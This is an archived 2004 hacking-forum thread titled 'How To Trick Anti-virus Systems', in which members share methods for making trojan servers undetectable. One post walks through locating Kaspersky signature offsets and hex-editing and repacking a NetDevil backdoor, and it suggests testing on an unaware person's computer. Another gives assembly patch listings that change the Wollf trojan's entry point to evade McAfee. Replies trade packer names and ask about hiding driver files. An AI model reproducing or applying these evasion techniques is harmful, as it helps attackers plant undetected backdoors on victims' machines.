GovernmentSecurity.org -> How To Trick = Anti-virus Systems ....

"=20 src=3D"http://www.governmentsecurity.org/forum/style_images/1/nav_m.gif" = width=3D8=20 border=3D0> How To Trick Anti-virus Systems ...., Makeing = things=20 undetectable...

Track=20 this topic | Email=20 this topic | Print=20 this topic

yeyo	Posted: Jan 9 2004, 03:49 AM =
Private Group: Trial Members Posts: 15 Member = No.:=20 10436 Joined: 8-October=20 03	Thanks a lot 4 it ;) I was looking 4 = something=20 like this :D

matiano	Posted: Jan 10 2004, = 04:42=20 AM
Private First=20 Class Group: Members Posts: 30 Member No.:=20 8407 Joined: 21-September=20 03	a) Avp Offset Finder ( a Program By Senna = Spy)=20 www.sennaspy.cjb.net a Good Hex editor (Hex Workshop is = Propably the=20 best) . c) Stealth tools : yes ! , We still have a use for = this d)=20 a Testing machine ( Be it an Extra Computer u own , or some = totally=20 unaware Person u have permenant Access to. e) an unpacked = Version of=20 your Trojan Server , Before editing or anything . = Procedure ;-=20 1-Disable KAV monitor . 2-copy Avpoffset.exe along = with your=20 unpacked trojan to The Avpbases folder Usually C:\Program = Files\Common=20 Files\AVP Shared Files\Bases 3- Open a command prompt, Browse = to that=20 Folder & type Avpoffset servername.exe & hit enter . = 4- Watch=20 as the Program Extracts the Stored Signatures from AVC files (this = Can=20 Take a long time with large files ,depending on your CPU speed = &=20 Available memory). 5-I will takea vetdevil 1.4 Server as an = Example=20 for this, it has now turned to be a Very notorious Trojan among = Antivirus=20 companies & Kav especially chooses very specific Signatures = which will=20 identify about any type of Netdevil 1.4 Servers Server.exe = infected: Backdoor.NetDevil.14 Signature 1 found: = Offset:=20 511854 ( 7CF6Eh) Length: 7 ( 7h) Checksum: (2FCC5587h)=20 Signature 2 found: Offset: 515903 ( 7DF3Fh) = Length: 255 (=20 FFh) Checksum: (5574DDD9h)=20 -------------------------------------------- 6- After = Opening=20 Netdevil Server for editing with hex Workshop , We search for both = offsets=20 511854 & 515903 ,Picture it as Jumping to line 511854 in = the=20 Program Code ,press CTRL + G & type the offset number dec = value of=20 Course , We need to Modify a Single byte , highlight the first two = characters after your mouse cursor ,thats it , in the Lower left = pane of=20 Hex workshop you will see various info about that section of the = file ,=20 Thats where u need to play with , we will notice Kav Signatures = are in=20 most cases very Important Sections of the trojan , Basic Functions = ,=20 Etc..., thats Because those Guys arent Kidding , this leads us to = the fact=20 that Overhexing this Single byte Could Result in a corrupted = Server , so=20 take it easy , I found that modifying the Msdos date or msdos time = of that=20 byte can do the job without destroying the Server , ,Just play = around ,=20 But make sure the modifications Are made to that very Single byte = alone ,=20 or at least Try to , heh . 7- Save your modified trojan , = test it=20 on yourself or on your other test machine , see if it will Work , = Try to=20 Connect to yourself ,Damn , The Server wont Work , Even though the = registry Entry was Written , now thats a bitch Coz we will have to = Delete=20 that File & restore the backup Created by hex workshop = ,Restart the=20 whole thing again , Try to change Both Offsets seperately ,untill = your=20 scan results are negative ,it is a good idea while you are hex = editing the=20 Trojan , search for The notify message For icq , try looking for = the text=20 string UIN http , Etc... Change the Values with Custom text if u = want ,=20 This helps with the notify Problem over Icq , But make sure u have = replaced the Text with Exactly the same number of characters , not = one=20 byte less or more . 8-, now save your Work , Edit your = Trojan as=20 usual , test it Again , hopefully it Works ! , If not Try this , = Get a=20 properly Configured Netdevil Server or whatever Trojan u want to = use &=20 Use Stealth Tools 2.00 to Patch your New Server With The older one = , Make=20 sure both are unpacked & exactly the same Size , hopefully = this Will=20 make the server run ok . 9-Use your Hex Editor To Add Null = Bytes (=20 00 ) as Much as you Like , Or use Stealth tools to Add Those bytes = if u=20 Dont feel Comfortable Using a Hex editor 10- normally = proceed ,=20 Pack your file Using upx + Scramble , Aspack , Fsg is Very Good = for small=20 Servers ,Telock has some Anti debugger / Encryption options , U = might want=20 to experiment with it too , As with some Effort u can make very = stealthy=20 Servers using telock as your packer . Notes - what = applies to=20 KAV will in most cases Apply to mcaffee & Tds-3 , Just pack = your=20 Trojan & see if its Detected or not -Some backdoors = Couldnt=20 possibly pass Antivirus , Something like a 1 kb webdownloader that = only=20 has two Functions , 3 at most Doesnt have much To Edit , Also dont = waste=20 your time with Older Trojans Like Netbus or subseven , or you will = be=20 wasting lots of time , these trojans are VERY hard to make = undetected=20 without having the source code,by Liquid.

tibbar	Posted: Jan 10 2004, = 10:51=20 PM
Staff=20 Sergeant Group: Specialist Posts: 284 Member No.:=20 11316 Joined: 14-October=20 03	ok i agree that the morphine / packer = approach is=20 working 100% at moment, but it does corrupt some progs - e.g.=20 iroffer. Except for hexing it (which is a nightmare if u = want to=20 beat all AV's, since each uses different sig - although u can beat = norton=20 and the other weak ones just with a post hex pack), what other = packers are=20 there, which will work with iroffer??? also, i'd like to = write my=20 own packer, anyone got a link to an article explaining the = principles? (im=20 good in c++ and vb).

Trojan^kid

Posted: Jan 11 2004, = 01:14=20 AM

Private First=20 Class
3D*=20

Group: Members
Posts: 47
Member No.:=20 16062
Joined: 7-January=20 04

QUOTE

a) Avp Offset Finder ( a = Program By=20 Senna Spy) www.sennaspy.cjb.net =

;) Dosnt work ant more =
here=20 is some packers ithink it would help <_<
exe32pack
fsg1.33
aspack2.12
pecrp102

MichT	Posted: Jan 15 2004, = 07:54=20 PM
Private First=20 Class Group: Members Posts: 22 Member No.:=20 9128 Joined: 26-September=20 03	thx a lot for this tuto man it work = nice :D=20

mastervampire	Posted: Jan 15 2004, = 09:11=20 PM
Private Group: Trial Members Posts: 14 Member = No.:=20 14149 Joined: 16-December=20 03	hey how come i cant make a new post in this = exploit=20 forum, says denied or something, and i got new exploit to post :( =

Yellow_Blue	Posted: Jan 17 2004, = 01:38=20 AM
Private Group: Members Posts: 10 Member No.:=20 13135 Joined: 1-December=20 03	yeah cool info it is very useful so tnx = :D

herman2k	Posted: Jan 24 2004, 05:19 PM =
Private Group: Trial Members Posts: 2 Member No.: = 15406 Joined: 29-December=20 03	all methods does not work with beast 2.05 :huh: the server makes = everytime a=20 restart :angry: someone has a solution to this problem ? =

Progressor

Posted: Jan 27 2004, = 04:17=20 AM

Private First=20 Class
3D*=20

Group: Members
Posts: 63
Member No.:=20 13899
Joined: 14-December=20 03

Universal method of tricking=20 antivirus.

I won't explain every command, you'll = have to=20 learn Assembler fo this.

Tools:
Hex redactor - I = used Hiew=20 6.75 (http://webhost.kemtel.ru/~sen)
Fearless PE Tool 0.1 - http://areyoufearless.com/modules.php?op=3Dmodload&na= me=3DDownloads&file=3Dindex&req=3Dgetit&lid=3D125
UPX = packer - http://upx.sourceforge.net/
Brain - must = have it, you=20 can't download it.

I took for example well known trojan = wollf v1.6=20 (www.xfocus.org)

[b]Now, let start:[b]

Wollf is = already=20 packed by an old version of UPX, so we unpack and pack it again by = newest=20 version

of UPX.
Now we are using PE tool and we will = find this=20 info about our trojan:

Entry Point: 00024FD0h
Image = Base:=20 00400000h

Let us open wollf.exe in Hiew, go to disassemble = mode=20 (F4/Decode), go to address Entry Point + Image Base =3D 00424FD0h, = for doing=20 this press Goto (F5) and type ".00424FD0" (you need this dot = before=20 address, because it is a virtual address). Now we see something = like=20 this:

CODE

.00424FD0: 60 = =20 = =20 pushad
.00424FD1: BE00804100 = =20 mov =20 esi,000418000 -----^ (1)
.00424FD6: 8DBE0090FEFF = =20 lea = =20 edi,[esi][0FFFE9000]
.00424FDC: 57 = =20 = =20 push = edi
.00424FDD:=20 83CDFF = =20 or =20 ebp,-001;"O"
.00424FE0: EB10 = =20 jmps = =20 .000424FF2 -----v=20 (2)

Now we have to find place = for our=20 patch, scroll down a couple of pages and you'll see a lot of place = with=20 zeros. I choose address 00425147. For edit press F3/F2.
OEP =3D = Entry=20 Point + Image Base

CODE

.00425147: 68D04F4200 = =20 push = =20 000424FD0 <--- push OEP
.0042514C: 50 = =20 = =20 push =20 eax
.0042514D: 9C = =20 pushfd = =20 = <---for=20 tricking AVP
.0042514E: 60 = =20 = pushad=20 = =20 <---for tricking AVP
.0042514F: E800000000 = =20 call = =20 .000425154 <----- call for Ret=20 28h

add another command: Ret = 28h you=20 will see

CODE

.00425154: C22800 = =20 retn = =20 00028;" = ("

for Save press = F9

and we add=20 another 2 commands
INC ECX
LOOP patch = address

CODE

.00425161: 41 = =20 = inc=20 ecx <------- our new = Entry=20 Point
.00425162: E2E3 = =20 loop = =20 .000425147

Finally we have our = patch:

CODE

.0042513F: 0000 = =20 = add=20 [eax],al
.00425141: 0000 = =20 = =20 add = [eax],al
.00425143:=20 0000 = =20 add =20 [eax],al
.00425145: 0000 = =20 add = =20 [eax],al
.00425147: 68D04F4200 = =20 push = =20 000424FD0 -----^ (1)
.0042514C: 50 = =20 = =20 push = eax
.0042514D: 9C=20 = =20 pushfd
.0042514E: 60 = =20 = =20 pushad
.0042514F: E800000000 = =20 call = =20 .000425154 -----v (2)
.00425154: C22800 = =20 = retn=20 00028;" ("
.00425157: 0000 = =20 = =20 add = [eax],al
.00425159:=20 0000 = =20 add =20 [eax],al
.0042515B: 0000 = =20 add = =20 [eax],al
.0042515D: 0000 = =20 = add=20 [eax],al
.0042515F: 0000 = =20 = =20 add = [eax],al
.00425161:=20 41 = =20 inc = ecx=20 <------- our new Entry = Point
.00425162: E2E3 = =20 loop = =20 .000425147 -----^ (3)
.00425164: 0000 = =20 = =20 add = [eax],al
.00425166: 0000=20 = =20 add =20 [eax],al
.00425168: 0000 = =20 add = =20 = [eax],al

And last thing we should = do, we=20 open the file in PE tool and change Entry Point:
Entry Point = =3D Offset -=20 Image Base =3D 00425161 - 00400000 =3D 0025161h

Now, if you = can unpack=20 the file with UPX, then I suppose you did it right. (don't forget = to=20 backup

your file or you'll have to make this patch=20 again.)

I tested patched file on McAfee Virusscan Pro 7.03, = it=20 doesn't detect our trojan.
Enjoy.

Double-=3DV=3D-

Posted: Jan 27 2004, = 09:36=20 AM

Private First=20 Class
3D*=20

Group: Members
Posts: 102
Member No.:=20 8488
Joined: 22-September=20 03

QUOTE (Progressor @ Jan 27 2004, 09:17 = AM)

Universal method of = tricking=20 antivirus.

I won't explain every command, = you'll have=20 to learn Assembler fo this.

Tools:
Hex = redactor - I=20 used Hiew 6.75 (http://webhost.kemtel.ru/~sen)
Fearless = PE Tool=20 0.1 - http://areyoufearless.com/modules.php?op=3Dmodload&na= me=3DDownloads&file=3Dindex&req=3Dgetit&lid=3D125
UPX = packer - http://upx.sourceforge.net/
Brain - = must have=20 it, you can't download it.

I took for example well = known=20 trojan wollf v1.6 (www.xfocus.org)

[b]Now, let=20 start:[b]

Wollf is already packed by an old version = of UPX,=20 so we unpack and pack it again by newest version

of=20 UPX.
Now we are using PE tool and we will find this info = about=20 our trojan:

Entry Point: 00024FD0h
Image Base:=20 00400000h

Let us open wollf.exe in Hiew, go to = disassemble=20 mode (F4/Decode), go to address Entry Point + Image Base =3D = 00424FD0h, for doing this press Goto (F5) and type = ".00424FD0" (you=20 need this dot before address, because it is a virtual = address). Now=20 we see something like this:

CODE

.00424FD0: 60 = =20 = =20 pushad
.00424FD1: BE00804100 = =20 mov = =20 esi,000418000 -----^ = (1)
.00424FD6:=20 8DBE0090FEFF = =20 lea =20 edi,[esi][0FFFE9000]
.00424FDC: 57 = =20 = =20 push = edi
.00424FDD:=20 83CDFF = =20 or =20 ebp,-001;"O"
.00424FE0: EB10 = =20 = =20 jmps .000424FF2 -----v = (2)

Now we have to find = place for=20 our patch, scroll down a couple of pages and you'll see a = lot of=20 place with zeros. I choose address 00425147. For edit press=20 F3/F2.
OEP =3D Entry Point + Image = Base

CODE

.00425147: 68D04F4200 = =20 push = =20 000424FD0 <--- push=20 OEP
.0042514C: 50 = =20 push = =20 eax
.0042514D: 9C = =20 = =20 pushfd = =20 <---for tricking AVP
.0042514E: 60 = =20 = =20 pushad = =20 <---for tricking=20 AVP
.0042514F: E800000000 = =20 call = =20 .000425154 <----- call for Ret=20 28h

add another = command: Ret 28h=20 you will see

CODE

.00425154: C22800 = =20 = =20 retn 00028;"=20 ("

for Save press = F9

and=20 we add another 2 commands
INC ECX
LOOP patch = address

CODE

.00425161: 41 = =20 = =20 inc ecx = <-------=20 our new Entry Point
.00425162: E2E3 = =20 = =20 loop .000425147 =20

Finally we have our = patch:

CODE

.0042513F: 0000 = =20 = =20 add [eax],al
.00425141: = 0000=20 = =20 add =20 [eax],al
.00425143: 0000 = =20 add = =20 [eax],al
.00425145: 0000 = =20 = =20 add = [eax],al
.00425147:=20 68D04F4200 = =20 push = 000424FD0=20 -----^ (1)
.0042514C: 50 = =20 = =20 push eax
.0042514D: 9C = =20 = =20 pushfd
.0042514E: 60 = =20 = =20 pushad
.0042514F: E800000000 = =20 call = =20 .000425154 -----v = (2)
.00425154: C22800=20 = =20 retn 00028;"=20 ("
.00425157: 0000 = =20 add = =20 [eax],al
.00425159: 0000 = =20 = =20 add = [eax],al
.0042515B:=20 0000 = =20 add = =20 [eax],al
.0042515D: 0000 = =20 add = =20 [eax],al
.0042515F: 0000 = =20 = =20 add = [eax],al
.00425161:=20 41 = =20 inc = =20 ecx = <------- our=20 new Entry Point
.00425162: E2E3 = =20 = loop=20 .000425147 -----^ (3) = =20
.00425164: 0000 = =20 add = =20 [eax],al
.00425166: 0000 = =20 = =20 add [eax],al
.00425168: = 0000=20 = =20 add =20 [eax],al

And last thing we = should do,=20 we open the file in PE tool and change Entry Point:
Entry = Point =3D=20 Offset - Image Base =3D 00425161 - 00400000 =3D = 0025161h

Now, if=20 you can unpack the file with UPX, then I suppose you did it = right.=20 (don't forget to backup

your file or you'll have to = make=20 this patch again.)

I tested patched file on McAfee = Virusscan=20 Pro 7.03, it doesn't detect our trojan.
Enjoy.=20

Thanks after reading it = 4 times i=20 think i understand it :)

phaeton	Posted: Jan 27 2004, = 08:05=20 PM
Private First=20 Class Group: Members Posts: 130 Member No.:=20 18959 Joined: 27-January=20 04	Thanks for the infos Progressor, I will try = this out,=20 but is there a way of hiding a .sys file from AVs?=20

Krogoth	Posted: Jan 28 2004, = 03:29=20 AM
Private First=20 Class Group: Members Posts: 71 Member No.:=20 14929 Joined: 23-December=20 03	i'll give upx a try, thanks = --Elite--. nice piece=20 of info Progressor. i'll read first and then try as suggested but = need=20 McAfee AV for the installation in my box for this experiment. = thank you.=20

Progressor

Posted: Jan 28 2004, = 06:34=20 AM

Private First=20 Class
3D*=20

Group: Members
Posts: 63
Member No.:=20 13899
Joined: 14-December=20 03

QUOTE

Thanks for the infos = Progressor, I=20 will try this out, but is there a way of hiding a .sys file = from=20 AVs?

In this case you'll = have to=20 find an exact signature used by AV for detection and change it. I = don't=20 know another way.

phaeton	Posted: Jan 28 2004, = 09:26=20 AM
Private First=20 Class Group: Members Posts: 130 Member No.:=20 18959 Joined: 27-January=20 04	Should I use SoftIce for that?

Progressor

Posted: Jan 29 2004, = 04:53=20 AM

Private First=20 Class
3D*=20

Group: Members
Posts: 63
Member No.:=20 13899
Joined: 14-December=20 03

QUOTE

Should I use SoftIce for = that?

No, only HEX editor = and/or=20 disassembler.

1 User(s) are reading this topic (1 Guests = and 0=20 Anonymous Users)

0=20 Members:

=AB Next=20 Oldest | Exploit=20 Articles | Next=20 Newest =BB